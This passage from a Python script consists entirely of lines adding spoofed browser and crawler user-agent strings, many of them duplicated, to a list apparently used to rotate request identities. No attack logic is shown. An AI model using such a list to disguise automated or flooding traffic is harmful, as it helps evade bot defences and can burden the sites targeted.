  2346.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2347.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2348.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2349.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2350.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2351.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2352.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2353.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2354.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2355.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2356.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2357.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2358.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2359.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2360.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2361.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2362.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2363.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2364.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2365.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2366.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2367.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2368.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2369.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2370.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2371.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2372.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2373.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2374.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2375.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2376.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2377.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2378.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2379.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2380.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2381.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2382.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2383.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2384.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2385.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2386.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2387.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2388.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2389.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2390.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2391.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2392.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2393.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2394.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2395.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2396.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2397.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2398.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2399.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2400.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2401.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2402.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2403.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2404.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2405.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2406.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2407.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2408.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2409.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2410.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2411.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2412.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2413.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2414.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2415.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2416.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2417.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2418.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2419.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2420.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2421.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2422.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2423.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2424.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2425.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2426.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2427.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2428.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2429.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2430.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2431.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2432.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2433.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2434.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2435.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2436.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2437.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2438.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2439.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2440.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2441.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2442.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2443.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2444.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2445.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2446.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2447.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2448.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2449.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2450.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2451.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2452.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2453.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2454.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2455.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2456.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2457.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2458.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2459.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2460.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2461.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2462.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2463.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2464.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2465.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2466.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2467.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2468.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2469.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2470.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2471.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2472.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2473.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2474.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2475.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2476.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2477.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2478.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2479.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2480.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2481.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2482.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2483.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2484.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2485.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2486.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2487.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2488.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2489.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2490.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2491.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2492.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2493.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2494.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2495.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2496.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2497.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2498.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2499.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2500.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2501.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2502.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2503.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2504.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2505.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2506.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2507.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2508.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2509.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2510.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2511.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2512.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2513.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2514.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2515.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2516.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2517.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2518.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2519.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2520.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2521.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2522.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2523.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2524.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2525.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2526.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2527.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2528.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2529.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2530.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2531.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2532.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2533.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2534.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2535.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2536.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2537.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2538.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2539.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
